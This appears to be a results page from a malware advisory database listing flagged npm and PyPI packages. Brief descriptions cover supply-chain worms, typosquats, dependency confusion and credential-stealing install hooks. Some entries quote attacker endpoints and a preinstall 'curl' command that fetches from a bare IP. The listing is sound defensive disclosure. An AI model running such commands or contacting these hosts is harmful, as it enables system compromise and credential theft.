237178 matches found
Malicious code in @espace-client-axafr/savings-distribution (npm)
The package communicates with a domain associated with malicious activity...
Malicious code in @idkruan-10/dpd-depconf-probe (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 2bf846560a10c8a741e6acdc52828666f0f665f5770a2e01e8531341ef9dc4a8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in bpm-foundation-testing (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 731f1d13e5958a2b7954d0c472f56bae0663ebc6e0d0e1f2e7c080b70f124c73 index.js unconditionally requires./platform on load. platform.js selects a per-OS payload path, fetches bytes from one of three...
Malicious code in checkout-desktop-cashback (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 04ab0105316a6f7d59b244610cd7a5c702e2157987ca7b91674cd34d032acf70 On require'checkout-desktop-cashback', index.js loads vendor.js which fetches a platform-specific binary from obfuscated Cloudflare Workers endpoints...
Malicious code in checkout-mobile-bnpl (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0734507ccd6f61cb81c277d9e9215c90f0b8cff1bd16f0c3eacd399750d26b4f index.js requires./helpers on load. helpers.js reconstructs three Cloudflare Workers hostnames oob-worker.cf103-070.workers.dev,...
Malicious code in claims-is-mobile-layout (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b964f402f05efc7be7776cd7f2255b889404ca7c83fb10a8efbb6b85d53f955b On require of the package, index.js unconditionally loads./vendor.js, which selects a platform-specific endpoint, downloads a native binary over HTTP...
Malicious code in @zzzgenesis00/web3-provider-engine (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fae571005ccdcdc23e50fbee1eddc31d39355706b7945df3ccbb3096ecaf724b Package impersonates MetaMask's web3-provider-engine author field 'MetaMask', homepage pointing to github.com/MetaMask/web3-provider-engine while...
Malicious code in twork-data-services-aggregator-api-v2-data-view-company-company-profile-mf-data-transformer (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3e60e623d29b1989a7cbce00ae577fdcbe27d82d33a7f2f8c03ffe52b317f4f8 On require of the package, index.js loads compat.js which downloads a platform-specific binary from obfuscated Cloudflare Workers hosts...
Malicious code in @servicetitan/kendo-theme (npm)
npm/@servicetitan/kendo-theme is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and...
Malicious code in @onereach/orest-vue-demi-vue2 (npm)
npm/@onereach/orest-vue-demi-vue2 is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and...
Malicious code in @servicetitan/standalone-root (npm)
npm/@servicetitan/standalone-root is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and...
Malicious code in mrmustard (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 535679eb30bfd0600dc07e44d2e649c88ecb6274364e2ba0b1ef2ccc05976727 On plain import mrmustard, the top-level init.py spawns a background thread that reads /.ssh/ private keys, /.aws/credentials, /.aws/config,...
Malicious code in nolby (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5a8bc0fa5eb23a45d27933ce1d32b7fabed27182039e170dbcaa38c0462dfa20 The package advertises itself as a pure calendar/streak math library with no import-time side effects, but index.mjs invokes a top-level sync on modu...
Malicious code in govpkg (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bcc7609ef2380436c805298b1d10362d361ea93b448db92433e3e69cc2de8ed8 Every public API function in govpkg get, package, module invokes a helper named normalizeHelper that downloads an unpinned, unverified binary from th...
Malicious code in darkglitch (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8e3bc2b0ee4fc1f401e9d810e9ae30ee45ae822962099291c502e355f4bdcc7 darkglitch ships a remote-access agent that connects to the hardcoded signaling host wss://malware-signal.vercel.app on room D4RKGLI7CH and executes...
Malicious code in gas-log (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 36241e999d92bad738082bf420fc144391735f9f3707bc4baa0153b4cb0eec8a gas-log impersonates the legitimate eth-gas-reporter package: it reuses that project's README, keywords, badges, and CHANGELOG, and the README even...
Malicious code in whs4_npm (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47695d571fe82fbb4402e8cc7f56c05e1cb21d0bc8089ccbd8fca32f8cf5a57c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in leo-streams (npm)
The leo-streams npm package was compromised as part of the Miasma worm campaign targeting the LeoPlatform npm ecosystem. On June 24, 2026, 20 LeoPlatform packages were published within a 3-second window by a threat actor who had taken over the npm account czirker belonging to the LeoPlatform...
Malicious code in fastify-addon (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3cb91c825be697244f8ff069bb56e79aff3b90de7b9947019095b6d0fa2fd270 fastify-addon is a typosquat of the legitimate fastify-plugin package. Its package.json sets repository, bugs, and homepage to...
Malicious code in mflux-streamlit (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9924feddaacd4b86934ddc7bdf8ff498921a80b34bf99a9136baa592fcc504b6 The package was found to contain malicious code or consuming dependency that contains malicious code Source: kam193...
Malicious code in telethon-pro-safe (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: kam193 8bc2e515c2eb7bf73ea5d532cfb6701dcaf3dd95e9d8248ee3d426b1d0c1ed8c During installation, package executes obfuscated code that starts a RAT-like software allowing remote control and exfiltrating sensitive data. --- Category:...
Malicious code in @cloudplatform-single-spa/logaas (npm)
Part of a dependency confusion attack campaign targeting the @cloudplatform-single-spa and @mlspace npm scopes. The attacker npm user mr.4nd3r50n published 139 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version...
Malicious code in @cloudplatform-single-spa/event-bus (npm)
Part of a dependency confusion attack campaign targeting the @cloudplatform-single-spa and @mlspace npm scopes. The attacker npm user mr.4nd3r50n published 139 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version...
Malicious code in massive (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 02d8dea3e47a2bd45fc796f33fc582956aec2be887add9672fd5eccc91c2135d Package self-describes as the 'Official Massive formerly Polygon.io REST and Websocket client,' a false rebrand claim — Polygon.io has not changed...
Malicious code in axios (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 503284900929e333b801f9f47419a2b4c21e4022d13a03fc14e4b5390767a51d The package axios was found to contain malicious code. Source: ghsa-malware bcd851213ecf0f8dc58fe88d79b3d19a59388272b2426097de7edc4c53df5d9e Any...
Malicious code in openclaw-droid (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f44b4e03b9d39603b2f92afff328117f480b35edd9fa3b64b40d6175b3432906 The package openclaw-droid was found to contain malicious code. Source: ghsa-malware a9462b166b838e565ac3aeb11533c69cb1168a95efc54468c0ed81628d080281...
Malicious code in oscillation-leda-warp-framework (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b4034a7c18a9c9766f734ef16d4eadac9e3d3574d8910068cacc02e37e741318 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...
Malicious code in watch-john-wick-chapter-4-online-fullmovies-free-at-home (npm)
--- -= Per source details. Do not edit below this line.=-...
Malicious code in azure-search-documents (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 593f8130bfe080437256f79540f957cb19721fc1caa66b41f5874e0f0fbcc80d Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in h3-codex (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6efe15c8b6a625f5ec662fc1d19f3191d0c9cd4a118565283dbe7ac9be1f54a7 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in 3layerdipstack4pstwd (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a2127d12ca6ea9c1d06ec5f8ea281259af2b80129546742ce67b6c6390c268e2 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in adxaa (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52685b4948dce286ad5cf0bbf4d0a7c8cf6b6a87ebfc2f70e20dbea685ab62c9 The tarball stages an obfuscated JavaScript payload i.js, with an un-obfuscated copy in original.js that gates on window.location.href containing...
Malicious code in claims-person-api-adapters (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef5943c3dd39268851fabc25f5a2c686cf8b102954be63cb80afb04c03deddc6 On require of the package, index.js loads ext.js which reconstructs hardcoded network destinations via Array.join string-splitting to evade static...
Malicious code in application_base (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 73797279861276dbe0ee846487e1a6c4206ae7c5c97cf5c18b478d78d9f2ffb7 [email protected] runs callback.js from its preinstall lifecycle hook on npm install. The script collects os.hostname, os.userInfo.username,...
Malicious code in @cacheable/net (npm)
npm/@cacheable/net version 2.1.1 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases through...
Malicious code in passsport1 (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 68604126507bac849b697119200b6ef37f408aaa077f208ae0127605159a9832 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in workspace-lint (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 337be691dd0efaac223695a5cb4f51ab5cdcc6b3ccde983b86d7256b10d731a9 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in playwrightr (PyPI)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1e165b925f82629524e611c81597c32a171df7cec246dc73f268d8192ccbe2c5 setup.py registers a CustomInstallCommand that runs automatically on pip install under Windows. It uses WinHTTP via ctypes to fetch a binary from...
Malicious code in antsrcsrctest (npm)
The npm package antsrcsrctest masquerades as a "simple date formatting utility" index.js exports a harmless formatDate function that is never referenced by the malicious code but is a credential-harvesting and cloud-metadata-stealing reconnaissance tool. It declares a preinstall: node preinstall....
Malicious code in @cloudplatform-single-spa/search (npm)
Part of a dependency confusion attack campaign targeting the @cloudplatform-single-spa and @mlspace npm scopes. The attacker npm user mr.4nd3r50n published 139 scoped packages at the inflated version 99.99.99, which resolves ahead of any private registry version via npm's default version...
Malicious code in @antv/word-scale-chart (npm)
Part of the Mini Shai-Hulud supply chain attack campaign in which a threat actor compromised the npm account atool and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a preinstall hook that executes a 498KB obfuscated Bun...
Malicious code in amapcn (npm)
Part of the Mini Shai-Hulud supply chain attack campaign in which a threat actor compromised the npm account atool and published 631 malicious versions across 314 npm packages in an automated 22-minute burst. Each malicious version injects a preinstall hook that executes a 498KB obfuscated Bun...
Malicious code in nashira-winston-aurora-gatsby (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9af5c52e6cf6987260607279112d0d054adf72f69bd5cad9cc62fec8cf109c67 This package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts auto.js,...
Malicious code in vite-babel-plugin-es6-promise (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 19412e443845747fa7d9b029fb4b869a17e57e3fc01783407a17684f0e1ad1d8 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in @yane88/workbuddy-03 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1bc530be17afa04e087a63e6f15911946a729196caa40fe34096c11406f7cf1c The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in 3layerdipstackmu4bxx (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 15f47ca8b0e44e671faadd3d15253f3396ba78877392e9d4612cbe9d0e803cae The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in 3layerdipstack7zgtws (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 06c1e5aeff87576f02bf0ffe7b8cd8c3b9b95f4ea1cd8be7be98fe6cd1e78956 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...
Malicious code in 3layerdipstack3jen8 (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 18ab220f8a7f7f54199b53769a9b4a4ec083be096b613fd4aa01b6ab6a5e789c Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in sm-billing-form (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...
Malicious code in alelo-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4e7ed1d4017e58a9911a0cfee5d1cf8122a2ac28779a36fdf3ef74484f048748 [email protected] ships lifecycle scripts that harvest installer data and POST it to a hardcoded bare-IP endpoint 209.99.185.109 with TLS certificate...